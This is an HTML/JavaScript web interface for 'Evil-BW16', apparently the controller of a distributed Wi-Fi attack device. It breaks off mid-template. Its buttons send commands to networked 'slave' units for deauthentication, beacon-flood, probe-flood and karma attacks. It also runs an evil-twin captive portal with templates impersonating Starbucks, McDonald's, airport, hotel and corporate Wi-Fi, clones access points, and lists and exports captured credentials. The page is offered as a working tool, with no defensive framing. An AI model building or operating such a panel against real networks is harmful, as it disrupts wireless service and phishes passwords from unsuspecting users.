1358 lines
43 KiB
HTML
1358 lines
43 KiB
HTML
<!DOCTYPE html><html><head><title>Evil-BW16 Advanced Orchestrator</title>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
|
<style>
|
|
:root {
|
|
--primary-green: #00ff41;
|
|
--primary-red: #ff004f;
|
|
--bg-dark: #0d0d0d;
|
|
--bg-card: #1a1a1a;
|
|
--bg-secondary: #111;
|
|
--border-color: #333;
|
|
--text-primary: #00ff41;
|
|
--text-secondary: #aaa;
|
|
--warning: #ff6666;
|
|
--success: #44ff44;
|
|
--info: #4444ff;
|
|
}
|
|
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
|
|
body {
|
|
font-family: 'Courier New', monospace;
|
|
background: var(--bg-dark);
|
|
color: var(--text-primary);
|
|
line-height: 1.4;
|
|
overflow-x: hidden;
|
|
}
|
|
|
|
/* Header */
|
|
.header {
|
|
background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary));
|
|
padding: 20px;
|
|
border-bottom: 2px solid var(--primary-red);
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
flex-wrap: wrap;
|
|
}
|
|
|
|
.logo {
|
|
display: flex;
|
|
align-items: center;
|
|
gap: 15px;
|
|
}
|
|
|
|
.logo h1 {
|
|
color: var(--primary-red);
|
|
font-size: 24px;
|
|
text-shadow: 0 0 10px var(--primary-red);
|
|
animation: glow 2s infinite alternate;
|
|
}
|
|
|
|
@keyframes glow {
|
|
from { text-shadow: 0 0 5px var(--primary-red); }
|
|
to { text-shadow: 0 0 15px var(--primary-red); }
|
|
}
|
|
|
|
.system-status {
|
|
display: flex;
|
|
gap: 20px;
|
|
flex-wrap: wrap;
|
|
}
|
|
|
|
.status-item {
|
|
text-align: center;
|
|
padding: 10px;
|
|
background: var(--bg-secondary);
|
|
border: 1px solid var(--border-color);
|
|
border-radius: 5px;
|
|
min-width: 80px;
|
|
}
|
|
|
|
.status-value {
|
|
font-size: 18px;
|
|
font-weight: bold;
|
|
color: var(--success);
|
|
}
|
|
|
|
.status-label {
|
|
font-size: 12px;
|
|
color: var(--text-secondary);
|
|
}
|
|
|
|
/* Navigation */
|
|
.nav-container {
|
|
background: var(--bg-card);
|
|
border-bottom: 1px solid var(--border-color);
|
|
overflow-x: auto;
|
|
}
|
|
|
|
.nav {
|
|
display: flex;
|
|
min-width: 800px;
|
|
}
|
|
|
|
.nav-tab {
|
|
background: transparent;
|
|
border: none;
|
|
color: var(--text-primary);
|
|
padding: 15px 20px;
|
|
cursor: pointer;
|
|
border-bottom: 3px solid transparent;
|
|
transition: all 0.3s;
|
|
white-space: nowrap;
|
|
font-family: inherit;
|
|
}
|
|
|
|
.nav-tab:hover {
|
|
background: var(--bg-secondary);
|
|
border-bottom-color: var(--primary-green);
|
|
}
|
|
|
|
.nav-tab.active {
|
|
background: var(--bg-secondary);
|
|
border-bottom-color: var(--primary-red);
|
|
color: white;
|
|
}
|
|
|
|
/* Layout */
|
|
.container {
|
|
display: grid;
|
|
grid-template-columns: 1fr;
|
|
gap: 20px;
|
|
padding: 20px;
|
|
max-width: 1400px;
|
|
margin: 0 auto;
|
|
}
|
|
|
|
.grid-2 {
|
|
display: grid;
|
|
grid-template-columns: 1fr 1fr;
|
|
gap: 20px;
|
|
}
|
|
|
|
.grid-3 {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
|
|
gap: 20px;
|
|
}
|
|
|
|
/* Cards */
|
|
.card {
|
|
background: var(--bg-card);
|
|
border: 1px solid var(--border-color);
|
|
border-radius: 8px;
|
|
padding: 20px;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.card:hover {
|
|
border-color: var(--primary-green);
|
|
box-shadow: 0 0 15px rgba(0, 255, 65, 0.1);
|
|
}
|
|
|
|
.card-header {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
margin-bottom: 15px;
|
|
padding-bottom: 10px;
|
|
border-bottom: 1px solid var(--border-color);
|
|
}
|
|
|
|
.card-title {
|
|
color: var(--primary-red);
|
|
font-size: 18px;
|
|
font-weight: bold;
|
|
}
|
|
|
|
.card-badge {
|
|
background: var(--primary-red);
|
|
color: white;
|
|
padding: 4px 8px;
|
|
border-radius: 12px;
|
|
font-size: 12px;
|
|
}
|
|
|
|
/* Buttons */
|
|
button {
|
|
background: var(--bg-secondary);
|
|
color: var(--text-primary);
|
|
border: 1px solid var(--primary-green);
|
|
padding: 10px 15px;
|
|
margin: 5px;
|
|
cursor: pointer;
|
|
font-family: inherit;
|
|
border-radius: 4px;
|
|
transition: all 0.3s;
|
|
font-size: 14px;
|
|
}
|
|
|
|
button:hover {
|
|
background: var(--primary-green);
|
|
color: var(--bg-dark);
|
|
transform: translateY(-1px);
|
|
box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3);
|
|
}
|
|
|
|
.btn-attack {
|
|
border-color: var(--warning);
|
|
color: var(--warning);
|
|
}
|
|
|
|
.btn-attack:hover {
|
|
background: var(--warning);
|
|
color: white;
|
|
}
|
|
|
|
.btn-danger {
|
|
border-color: var(--primary-red);
|
|
color: var(--primary-red);
|
|
}
|
|
|
|
.btn-danger:hover {
|
|
background: var(--primary-red);
|
|
color: white;
|
|
}
|
|
|
|
.btn-success {
|
|
border-color: var(--success);
|
|
color: var(--success);
|
|
}
|
|
|
|
.btn-success:hover {
|
|
background: var(--success);
|
|
color: var(--bg-dark);
|
|
}
|
|
|
|
/* Inputs */
|
|
input, select {
|
|
background: var(--bg-secondary);
|
|
color: var(--text-primary);
|
|
border: 1px solid var(--border-color);
|
|
padding: 10px;
|
|
font-family: inherit;
|
|
border-radius: 4px;
|
|
margin: 5px;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
input:focus, select:focus {
|
|
outline: none;
|
|
border-color: var(--primary-green);
|
|
box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2);
|
|
}
|
|
|
|
/* Statistics */
|
|
.stats-grid {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
|
gap: 15px;
|
|
margin: 20px 0;
|
|
}
|
|
|
|
.stat-card {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
border-radius: 6px;
|
|
border-left: 4px solid var(--primary-green);
|
|
text-align: center;
|
|
}
|
|
|
|
.stat-value {
|
|
font-size: 24px;
|
|
font-weight: bold;
|
|
color: var(--success);
|
|
display: block;
|
|
}
|
|
|
|
.stat-label {
|
|
font-size: 12px;
|
|
color: var(--text-secondary);
|
|
margin-top: 5px;
|
|
}
|
|
|
|
.stat-change {
|
|
font-size: 11px;
|
|
margin-top: 5px;
|
|
}
|
|
|
|
.stat-up { color: var(--success); }
|
|
.stat-down { color: var(--warning); }
|
|
|
|
/* Charts */
|
|
.chart-container {
|
|
position: relative;
|
|
height: 300px;
|
|
margin: 20px 0;
|
|
}
|
|
|
|
/* Terminal */
|
|
#terminal {
|
|
background: var(--bg-dark);
|
|
height: 300px;
|
|
overflow-y: auto;
|
|
padding: 15px;
|
|
border: 1px solid var(--border-color);
|
|
white-space: pre-wrap;
|
|
font-size: 12px;
|
|
border-radius: 4px;
|
|
}
|
|
|
|
/* Slave Grid */
|
|
.slave-grid {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
|
|
gap: 15px;
|
|
margin: 15px 0;
|
|
}
|
|
|
|
.slave-card {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
border-radius: 6px;
|
|
border: 1px solid var(--border-color);
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.slave-card.online {
|
|
border-left: 4px solid var(--success);
|
|
}
|
|
|
|
.slave-card.offline {
|
|
border-left: 4px solid var(--warning);
|
|
opacity: 0.7;
|
|
}
|
|
|
|
.slave-header {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
margin-bottom: 10px;
|
|
}
|
|
|
|
.slave-id {
|
|
font-weight: bold;
|
|
color: var(--text-primary);
|
|
}
|
|
|
|
.slave-status {
|
|
padding: 2px 6px;
|
|
border-radius: 10px;
|
|
font-size: 10px;
|
|
text-transform: uppercase;
|
|
}
|
|
|
|
.status-online {
|
|
background: var(--success);
|
|
color: var(--bg-dark);
|
|
}
|
|
|
|
.status-offline {
|
|
background: var(--warning);
|
|
color: white;
|
|
}
|
|
|
|
/* Network List */
|
|
.network-list {
|
|
max-height: 400px;
|
|
overflow-y: auto;
|
|
}
|
|
|
|
.network-item {
|
|
display: flex;
|
|
justify-content: between;
|
|
align-items: center;
|
|
padding: 10px;
|
|
border-bottom: 1px solid var(--border-color);
|
|
cursor: pointer;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.network-item:hover {
|
|
background: var(--bg-secondary);
|
|
border-left: 3px solid var(--primary-green);
|
|
}
|
|
|
|
/* Credentials */
|
|
.credential-item {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
margin: 10px 0;
|
|
border-left: 3px solid var(--primary-red);
|
|
border-radius: 4px;
|
|
font-family: monospace;
|
|
font-size: 12px;
|
|
word-break: break-all;
|
|
}
|
|
|
|
/* Responsive */
|
|
@media (max-width: 768px) {
|
|
.grid-2, .grid-3 {
|
|
grid-template-columns: 1fr;
|
|
}
|
|
|
|
.header {
|
|
flex-direction: column;
|
|
gap: 15px;
|
|
}
|
|
|
|
.system-status {
|
|
justify-content: center;
|
|
}
|
|
|
|
.container {
|
|
padding: 10px;
|
|
}
|
|
}
|
|
|
|
/* Hidden content */
|
|
.tab-content {
|
|
display: none;
|
|
}
|
|
|
|
.tab-content.active {
|
|
display: block;
|
|
}
|
|
|
|
/* Loading states */
|
|
.loading {
|
|
opacity: 0.6;
|
|
pointer-events: none;
|
|
}
|
|
|
|
.pulse {
|
|
animation: pulse 1.5s infinite;
|
|
}
|
|
|
|
@keyframes pulse {
|
|
0% { opacity: 1; }
|
|
50% { opacity: 0.5; }
|
|
100% { opacity: 1; }
|
|
}
|
|
|
|
/* Progress bars */
|
|
.progress-bar {
|
|
width: 100%;
|
|
height: 20px;
|
|
background: var(--bg-secondary);
|
|
border-radius: 10px;
|
|
overflow: hidden;
|
|
margin: 10px 0;
|
|
}
|
|
|
|
.progress-fill {
|
|
height: 100%;
|
|
background: linear-gradient(90deg, var(--primary-green), var(--success));
|
|
transition: width 0.3s ease;
|
|
border-radius: 10px;
|
|
}
|
|
|
|
/* Notification */
|
|
.notification {
|
|
position: fixed;
|
|
top: 20px;
|
|
right: 20px;
|
|
background: var(--bg-card);
|
|
border: 1px solid var(--primary-green);
|
|
padding: 15px;
|
|
border-radius: 6px;
|
|
z-index: 1000;
|
|
transform: translateX(400px);
|
|
transition: transform 0.3s ease;
|
|
}
|
|
|
|
.notification.show {
|
|
transform: translateX(0);
|
|
}
|
|
</style>
|
|
</head><body>
|
|
|
|
<!-- Header -->
|
|
<div class="header">
|
|
<div class="logo">
|
|
<div>🔥</div>
|
|
<h1>Evil-BW16 Advanced Orchestrator</h1>
|
|
<div>v2.0</div>
|
|
</div>
|
|
<div class="system-status" id="systemStatus">
|
|
<div class="status-item">
|
|
<div class="status-value" id="uptime">0s</div>
|
|
<div class="status-label">UPTIME</div>
|
|
</div>
|
|
<div class="status-item">
|
|
<div class="status-value" id="slavesCount">0</div>
|
|
<div class="status-label">SLAVES</div>
|
|
</div>
|
|
<div class="status-item">
|
|
<div class="status-value" id="attacksCount">0</div>
|
|
<div class="status-label">ATTACKS</div>
|
|
</div>
|
|
<div class="status-item">
|
|
<div class="status-value" id="credentialsCount">0</div>
|
|
<div class="status-label">CREDENTIALS</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Navigation -->
|
|
<div class="nav-container">
|
|
<div class="nav">
|
|
<button class="nav-tab active" onclick="openTab(event, 'dashboard')">📊 Dashboard</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'slaves')">🤖 Slave Control</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'attacks')">⚔️ Attack Center</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'portal')">📱 Evil Portal</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'cloning')">🎭 AP Cloning</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'credentials')">🔐 Credentials</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'analytics')">📈 Analytics</button>
|
|
<button class="nav-tab" onclick="openTab(event, 'logs')">📝 Logs</button>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Dashboard Tab -->
|
|
<div id="dashboard" class="tab-content active">
|
|
<div class="container">
|
|
<!-- Live Statistics -->
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📊 Live System Overview</h3>
|
|
<span class="card-badge pulse" id="liveIndicator">LIVE</span>
|
|
</div>
|
|
<div class="stats-grid" id="liveStats">
|
|
<!-- Live stats will be populated here -->
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Charts Grid -->
|
|
<div class="grid-2">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📈 Attack Performance</h3>
|
|
</div>
|
|
<div class="chart-container">
|
|
<canvas id="attackChart"></canvas>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🔗 BLE Connection Health</h3>
|
|
</div>
|
|
<div class="chart-container">
|
|
<canvas id="bleChart"></canvas>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- System Health Cards -->
|
|
<div class="grid-3">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🔋 System Health</h3>
|
|
</div>
|
|
<div id="systemHealth">
|
|
<!-- System health metrics -->
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📡 Network Coverage</h3>
|
|
</div>
|
|
<div id="networkCoverage">
|
|
<!-- Network coverage stats -->
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🎯 Attack Efficiency</h3>
|
|
</div>
|
|
<div id="attackEfficiency">
|
|
<!-- Attack efficiency metrics -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Slave Control Tab -->
|
|
<div id="slaves" class="tab-content">
|
|
<div class="container">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🤖 Slave Network</h3>
|
|
<span class="card-badge" id="slaveCount">0 Connected</span>
|
|
</div>
|
|
<div class="slave-grid" id="slaveGrid">
|
|
<!-- Slave cards will be populated here -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Attack Center Tab -->
|
|
<div id="attacks" class="tab-content">
|
|
<div class="container">
|
|
<div class="grid-2">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">⚔️ Distributed Attacks</h3>
|
|
</div>
|
|
<div style="display: grid; gap: 10px;">
|
|
<button onclick="sendCmd('distributed_deauth')" class="btn-attack">🚀 Distributed Deauth</button>
|
|
<button onclick="sendCmd('deauth_2g_all')" class="btn-attack">📡 2.4GHz Deauth</button>
|
|
<button onclick="sendCmd('deauth_5g_all')" class="btn-attack">📶 5GHz Deauth</button>
|
|
|
|
<input id='beacon_flood_ssid' placeholder='SSID for beacon flood' style="margin: 10px 0;">
|
|
<button onclick="sendCmd('beacon_flood ' + document.getElementById('beacon_flood_ssid').value)" class="btn-attack">🌊 Beacon Flood</button>
|
|
|
|
<button onclick="sendCmd('probe_flood')" class="btn-attack">📡 Probe Flood</button>
|
|
<button onclick="sendCmd('karma_attack')" class="btn-attack">👻 Karma Attack</button>
|
|
<button onclick="sendCmd('stop deauther')" class="btn-danger">🛑 Stop All Attacks</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📊 Attack Status</h3>
|
|
</div>
|
|
<div id="attackStatus">
|
|
<!-- Attack status info -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🎯 Target Management</h3>
|
|
</div>
|
|
<button onclick="sendCmd('scan')" class="btn-success">🔍 Scan Networks</button>
|
|
<input id='target_indices' placeholder='Target indices (e.g. 1,2,3)' style="width: 300px;">
|
|
<button onclick="sendCmd('target ' + document.getElementById('target_indices').value)">Set Targets</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Evil Portal Tab -->
|
|
<div id="portal" class="tab-content">
|
|
<div class="container">
|
|
<div class="grid-2">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📱 Portal Configuration</h3>
|
|
</div>
|
|
<div class="portal-status" id="portalStatus">
|
|
<p><strong>Status:</strong> <span id="portalStatusText">Unknown</span></p>
|
|
<p><strong>SSID:</strong> <span id="currentPortalSSID">Not Set</span></p>
|
|
<p><strong>IP:</strong> 192.168.5.1</p>
|
|
</div>
|
|
<hr style="margin: 15px 0; border-color: var(--border-color);">
|
|
<input id="portal_ssid" value="Free WiFi" style="width: 100%; margin-bottom: 10px;">
|
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px;">
|
|
<button onclick="updatePortalSSID()" class="btn-success">📝 Update SSID</button>
|
|
<button onclick="sendCmd('enable_portal')" class="btn-success">🟢 Enable Portal</button>
|
|
</div>
|
|
<button onclick="sendCmd('disable_portal')" class="btn-danger" style="width: 100%; margin-top: 10px;">🔴 Disable Portal</button>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📊 Portal Statistics</h3>
|
|
</div>
|
|
<div id="portalStats">
|
|
<!-- Portal statistics -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🎨 Quick Templates</h3>
|
|
</div>
|
|
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 10px;">
|
|
<button onclick="setPortalTemplate('Free WiFi')">🆓 Free WiFi</button>
|
|
<button onclick="setPortalTemplate('Hotel_Guest')">🏨 Hotel Guest</button>
|
|
<button onclick="setPortalTemplate('Airport_WiFi')">✈️ Airport WiFi</button>
|
|
<button onclick="setPortalTemplate('Starbucks_WiFi')">☕ Starbucks</button>
|
|
<button onclick="setPortalTemplate('McDonalds_WiFi')">🍟 McDonald's</button>
|
|
<button onclick="setPortalTemplate('Corporate_WiFi')">🏢 Corporate</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- AP Cloning Tab -->
|
|
<div id="cloning" class="tab-content">
|
|
<div class="container">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🎭 AP Cloning & Impersonation</h3>
|
|
</div>
|
|
<button onclick="sendCmd('scan_aps')" class="btn-success">🔍 Scan Access Points</button>
|
|
<div class="network-list" id="aplist">
|
|
<!-- AP list will be populated here -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Credentials Tab -->
|
|
<div id="credentials" class="tab-content">
|
|
<div class="container">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🔐 Captured Credentials</h3>
|
|
<span class="card-badge" id="credCount">0</span>
|
|
</div>
|
|
<div style="display: flex; gap: 10px; margin-bottom: 15px;">
|
|
<button onclick="refreshCredentials()" class="btn-success">🔄 Refresh</button>
|
|
<button onclick="clearCredentials()" class="btn-danger">🗑️ Clear All</button>
|
|
<button onclick="exportCredentials()">💾 Export</button>
|
|
</div>
|
|
<div id="credentialsList">
|
|
<p>No credentials captured yet. Enable the evil portal to start capturing.</p>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Analytics Tab -->
|
|
<div id="analytics" class="tab-content">
|
|
<div class="container">
|
|
<div class="grid-2">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📈 Performance Trends</h3>
|
|
</div>
|
|
<div class="chart-container">
|
|
<canvas id="trendsChart"></canvas>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">🔄 Success Rates</h3>
|
|
</div>
|
|
<div class="chart-container">
|
|
<canvas id="successChart"></canvas>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📊 Detailed Statistics</h3>
|
|
</div>
|
|
<div id="detailedStats">
|
|
<!-- Detailed statistics will be populated here -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Logs Tab -->
|
|
<div id="logs" class="tab-content">
|
|
<div class="container">
|
|
<div class="card">
|
|
<div class="card-header">
|
|
<h3 class="card-title">📝 System Logs</h3>
|
|
<button onclick="clearLogs()" class="btn-danger">🗑️ Clear</button>
|
|
</div>
|
|
<div id="terminal"></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Notification area -->
|
|
<div id="notification" class="notification">
|
|
<div id="notificationText"></div>
|
|
</div>
|
|
|
|
<script>
|
|
let globalStats = {};
|
|
let charts = {};
|
|
let updateInterval;
|
|
|
|
// Core Communication Functions
|
|
function sendCmd(cmd) {
|
|
showNotification(`Executing: ${cmd}`, 'info');
|
|
const targets = [...document.querySelectorAll("input.slave:checked")].map(cb => cb.value);
|
|
fetch("/cmd", {
|
|
method: "POST",
|
|
headers: { "Content-Type": "application/json" },
|
|
body: JSON.stringify({ cmd, targets })
|
|
})
|
|
.then(response => {
|
|
if (response.ok) {
|
|
showNotification(`Command executed: ${cmd}`, 'success');
|
|
} else {
|
|
showNotification(`Command failed: ${cmd}`, 'error');
|
|
}
|
|
})
|
|
.catch(error => {
|
|
console.error('Error sending command:', error);
|
|
showNotification(`Error: ${error.message}`, 'error');
|
|
});
|
|
}
|
|
|
|
// Tab Management
|
|
function openTab(evt, tabName) {
|
|
var tabContents = document.getElementsByClassName("tab-content");
|
|
for (var i = 0; i < tabContents.length; i++) {
|
|
tabContents[i].classList.remove("active");
|
|
}
|
|
|
|
var navTabs = document.getElementsByClassName("nav-tab");
|
|
for (var i = 0; i < navTabs.length; i++) {
|
|
navTabs[i].classList.remove("active");
|
|
}
|
|
|
|
document.getElementById(tabName).classList.add("active");
|
|
evt.currentTarget.classList.add("active");
|
|
|
|
// Load tab-specific content
|
|
if (tabName === 'analytics') loadAnalytics();
|
|
if (tabName === 'credentials') refreshCredentials();
|
|
if (tabName === 'cloning') updateApList();
|
|
}
|
|
|
|
// Statistics and Status Updates
|
|
function updateSystemStatus() {
|
|
fetch("/stats")
|
|
.then(response => response.json())
|
|
.then(stats => {
|
|
globalStats = stats;
|
|
updateHeaderStatus(stats);
|
|
updateDashboard(stats);
|
|
updateSlaveGrid(stats);
|
|
updateAttackStatus(stats);
|
|
updatePortalStats(stats);
|
|
})
|
|
.catch(error => console.error('Error fetching stats:', error));
|
|
}
|
|
|
|
function updateHeaderStatus(stats) {
|
|
document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0);
|
|
document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0;
|
|
document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0;
|
|
document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0;
|
|
}
|
|
|
|
function updateDashboard(stats) {
|
|
if (!document.getElementById('dashboard').classList.contains('active')) return;
|
|
|
|
// Live Statistics
|
|
const liveStatsHTML = `
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.live?.attacksPerMinute?.toFixed(1) || 0}</span>
|
|
<div class="stat-label">Attacks/Min</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.live?.credentialsPerHour?.toFixed(1) || 0}</span>
|
|
<div class="stat-label">Creds/Hour</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.system?.freeHeap || 0}</span>
|
|
<div class="stat-label">Free RAM (B)</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.ble?.successRate?.toFixed(1) || 0}%</span>
|
|
<div class="stat-label">BLE Success</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.network?.networksScanned || 0}</span>
|
|
<div class="stat-label">Networks Found</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.framesTransmitted || 0}</span>
|
|
<div class="stat-label">Frames Sent</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('liveStats').innerHTML = liveStatsHTML;
|
|
|
|
// System Health
|
|
const systemHealthHTML = `
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.system?.cpuUsage || 0}%</span>
|
|
<div class="stat-label">CPU Usage</div>
|
|
</div>
|
|
<div class="progress-bar">
|
|
<div class="progress-fill" style="width: ${stats.system?.cpuUsage || 0}%"></div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${formatBytes(stats.system?.freeHeap || 0)}</span>
|
|
<div class="stat-label">Available Memory</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('systemHealth').innerHTML = systemHealthHTML;
|
|
|
|
// Network Coverage
|
|
const networkCoverageHTML = `
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.network?.channels2ghz || 0}</span>
|
|
<div class="stat-label">2.4GHz Channels</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.network?.channels5ghz || 0}</span>
|
|
<div class="stat-label">5GHz Channels</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.network?.avgSignalStrength?.toFixed(1) || 0} dBm</span>
|
|
<div class="stat-label">Avg Signal</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('networkCoverage').innerHTML = networkCoverageHTML;
|
|
|
|
// Attack Efficiency
|
|
const attackEfficiencyHTML = `
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.successfulTargets || 0}</span>
|
|
<div class="stat-label">Targets Hit</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.avgDuration?.toFixed(1) || 0}s</span>
|
|
<div class="stat-label">Avg Duration</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%</span>
|
|
<div class="stat-label">Success Rate</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('attackEfficiency').innerHTML = attackEfficiencyHTML;
|
|
|
|
updateCharts(stats);
|
|
}
|
|
|
|
function updateSlaveGrid(stats) {
|
|
if (!stats.slaveDetails) return;
|
|
|
|
let slaveHTML = '';
|
|
stats.slaveDetails.forEach(slave => {
|
|
const statusClass = slave.connected ? 'online' : 'offline';
|
|
const statusText = slave.connected ? 'ONLINE' : 'OFFLINE';
|
|
const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000);
|
|
|
|
slaveHTML += `
|
|
<div class="slave-card ${statusClass}">
|
|
<div class="slave-header">
|
|
<div class="slave-id">${slave.id}</div>
|
|
<span class="slave-status status-${statusClass}">${statusText}</span>
|
|
</div>
|
|
<div style="font-size: 12px; color: var(--text-secondary);">
|
|
<div>RSSI: ${slave.rssi} dBm</div>
|
|
<div>Last Seen: ${lastSeen}s ago</div>
|
|
<div>Firmware: ${slave.firmware}</div>
|
|
<div>Uptime: ${formatUptime(slave.uptime)}</div>
|
|
</div>
|
|
<label style="display: flex; align-items: center; margin-top: 10px;">
|
|
<input type="checkbox" class="slave" value="${slave.id}" style="margin-right: 10px;">
|
|
Select for attacks
|
|
</label>
|
|
</div>
|
|
`;
|
|
});
|
|
|
|
document.getElementById('slaveGrid').innerHTML = slaveHTML || '<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';
|
|
document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`;
|
|
}
|
|
|
|
function updateAttackStatus(stats) {
|
|
const attackStatusHTML = `
|
|
<div class="stats-grid">
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.totalLaunched || 0}</span>
|
|
<div class="stat-label">Total Attacks</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.distributedAttacks || 0}</span>
|
|
<div class="stat-label">Distributed</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.deauthAttacks || 0}</span>
|
|
<div class="stat-label">Deauth</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.beaconFloods || 0}</span>
|
|
<div class="stat-label">Beacon Floods</div>
|
|
</div>
|
|
</div>
|
|
<div style="margin-top: 15px;">
|
|
<strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%
|
|
</div>
|
|
`;
|
|
document.getElementById('attackStatus').innerHTML = attackStatusHTML;
|
|
}
|
|
|
|
function updatePortalStats(stats) {
|
|
const portal = stats.portal || {};
|
|
document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE';
|
|
|
|
const portalStatsHTML = `
|
|
<div class="stats-grid">
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.sessions || 0}</span>
|
|
<div class="stat-label">Sessions</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.visitors || 0}</span>
|
|
<div class="stat-label">Visitors</div>
|
|
</div>
|
|
<div class="stat-card">
|
